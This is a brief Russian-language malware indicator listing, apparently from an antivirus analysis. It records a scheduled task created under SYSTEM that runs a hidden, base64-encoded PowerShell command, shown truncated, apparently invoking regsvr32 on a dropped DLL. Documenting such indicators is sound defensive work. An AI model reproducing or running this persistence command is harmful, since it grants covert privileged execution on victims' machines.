Техническая информация
- <SYSTEM32>\tasks\apmdasbdgy
- %WINDIR%\syswow64\explorer.exe
- '%WINDIR%\syswow64\schtasks.exe' /Create /RU "NT AUTHORITY\SYSTEM" /Z /ST 19:10 /tn apmdasbdgy /ET 19:21 /tr "powershell.exe -encodedCommand cgBlAGcAcwB2AHIAMwAyAC4AZQB4AGUAIAAiAGMAOgBcAHIAZQB1AGkAaQB0AFwAaABpAGsAegB0AHAAZAAuA...' (со скрытым окном)
- '%WINDIR%\syswow64\explorer.exe'
- '%WINDIR%\syswow64\schtasks.exe' /Create /RU "NT AUTHORITY\SYSTEM" /Z /ST 19:10 /tn apmdasbdgy /ET 19:21 /tr "powershell.exe -encodedCommand cgBlAGcAcwB2AHIAMwAyAC4AZQB4AGUAIAAiAGMAOgBcAHIAZQB1AGkAaQB0AFwAaABpAGsAegB0AHAAZAAuA...